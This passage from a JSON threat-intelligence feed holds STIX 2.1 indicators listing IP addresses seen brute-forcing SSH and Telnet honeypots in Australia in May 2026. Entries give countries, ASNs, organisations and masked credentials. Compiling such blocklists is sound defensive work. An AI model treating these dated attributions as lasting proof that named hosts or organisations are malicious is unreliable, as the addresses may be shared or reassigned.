      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37611. Organisation(s): AFRIHOST-SP.",
      "id": "indicator--df43f8eb-9be4-4964-88e3-2d4f2c3eeed4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.79.87.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31200. Organisation(s): Novotelecom Ltd.",
      "id": "indicator--f7fe433a-9dd8-4442-8355-53804678031c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.194.67.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--7344ec5e-8a2e-43f2-a6f5-b7d9bfb3d557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0ca8351a-c181-46cd-a145-9dca53947979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.34.109.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:15:11.000Z",
      "valid_until": "2026-06-19T07:15:08.000Z"
    },
    {
      "created": "2026-05-18T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cf7a0a92-fd28-4dd5-be7e-612c8a49b9ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.129.27.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:15:11.000Z",
      "valid_until": "2026-06-19T07:15:08.000Z"
    },
    {
      "created": "2026-05-18T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--85ff6082-8e29-43bd-bd73-a39e1a5cf76e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.171.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:15:11.000Z",
      "valid_until": "2026-06-19T07:15:08.000Z"
    },
    {
      "created": "2026-05-18T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich.",
      "id": "indicator--d60d5f04-9320-4379-81c3-51a21deb00be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.108.3.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:15:11.000Z",
      "valid_until": "2026-06-19T07:15:08.000Z"
    },
    {
      "created": "2026-05-18T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271791. Organisation(s): CABLE NORTE CA..",
      "id": "indicator--b958142f-4a52-4132-b325-115faa3f187a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.41.42.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T07:15:11.000Z",
      "valid_until": "2026-06-19T07:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--20325cbc-4514-4200-b58b-a8dbfe82ff71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.96.31.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): H*******4, s****h.",
      "id": "indicator--d4d0df02-4e06-46d9-b4b9-b97faa667f50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--24487a9a-2da3-4ae9-b67c-39130b181845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.113.201.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--0eb39bf6-855a-4a9a-9f3f-a93f1bbb3ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.198.110.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****t, 1**************v, W*********5.",
      "id": "indicator--2044056c-aef1-4c58-9620-aa1670563c3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.253.17.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--8adfcfec-9025-4f55-8114-26a5024f5ffe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 15085. Organisation(s): Immedion, LLC.",
      "id": "indicator--b19221e3-a3c5-46f9-97a2-0731ea1bf9eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.59.16.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t. Passwords observed (masked): T******0, l********..",
      "id": "indicator--f077bc4c-af68-4bbb-b870-6c5de0a75d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--5aceeac3-75ab-44e5-9a9b-f803d2175389",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.46.159.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****t, 1**************v, 2**4.",
      "id": "indicator--526fdc74-25ca-42bb-8619-2914cc1e296c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.16.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): t*******k, r**t. Passwords observed (masked): 1******8, Q*********5, p******d.",
      "id": "indicator--79d64d8a-b346-432b-a284-85bf9bfe47ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.135.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--c930f945-27a7-437c-97b7-f9de520b6c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.226.230.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8182cd12-67c4-4a27-b73c-52cb6a42dfa9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.186.25.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH.",
      "id": "indicator--f4f27d63-c489-4c23-ab97-9018792b9c3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.74.146.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 259. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 3215. Organisation(s): Orange. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****t, 1**************v, 2**4.",
      "id": "indicator--b1b76c03-9e9a-4087-ae5c-4aba00eec4fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.175.80.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T09:15:11.000Z",
      "valid_until": "2026-06-19T09:15:08.000Z"
    },
    {
      "created": "2026-05-18T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--26d544cf-e30a-4ddb-93d3-4fde98d23ad6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.208.109.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T10:15:13.000Z",
      "valid_until": "2026-06-19T10:15:03.000Z"
    },
    {
      "created": "2026-05-18T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--4f0f474a-8763-41b7-a8fb-1735c1200386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.6.3.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T10:15:13.000Z",
      "valid_until": "2026-06-19T10:15:03.000Z"
    },
    {
      "created": "2026-05-18T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--c1ee61ab-158b-4fc0-b5a7-4cac825e903d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T10:15:13.000Z",
      "valid_until": "2026-06-19T10:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 139021. Organisation(s): West263 International Limited. Usernames observed (masked): r**t, 3**********4, a***n, a***a, ***. Passwords observed (masked): 1****6, 1*********@, 3***********4, 3**********4, H*********b.",
      "id": "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.43.191.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3122564e-bc6c-45b1-b89d-22183accbf3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************************************6. Passwords observed (masked): A*******************8, C***************e, H**********************3.",
      "id": "indicator--bf940876-3d8f-4312-8650-6c4efdd73ba3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.227.176.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, ***, ***, t********r. Passwords observed (masked): 1****1, 1**4, 3***********4, 3**********4, H*******6.",
      "id": "indicator--3a40b280-4b38-4495-85ae-1449aa77b3d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.159.62.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--f1b3de27-672b-450d-acce-c1f620fe3cee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.104.80.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--bbe63f67-567d-4ea7-b042-0693fc1fdad9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.249.171.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 33837. Organisation(s): Fredrik Holmqvist. Usernames observed (masked): ***. Passwords observed (masked): I***********************5.",
      "id": "indicator--2496c921-a981-4eec-abda-75d6dc441403",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.80.26.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T11:15:05.000Z",
      "valid_until": "2026-06-19T11:15:03.000Z"
    },
    {
      "created": "2026-05-18T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GA. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--94ab201c-3e50-4bfe-a85e-be3c027a801e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.142.29.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:15:10.000Z",
      "valid_until": "2026-06-19T12:15:08.000Z"
    },
    {
      "created": "2026-05-18T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d280c975-5756-4da8-8f9d-6e0eaef001aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.81.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:15:10.000Z",
      "valid_until": "2026-06-19T12:15:08.000Z"
    },
    {
      "created": "2026-05-18T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 48832. Organisation(s): Jordanian mobile phone services Ltd.",
      "id": "indicator--4a38ec26-d14e-4385-aa3f-7018167271c8",
      "labels": [
        "bruteforce"
      ],
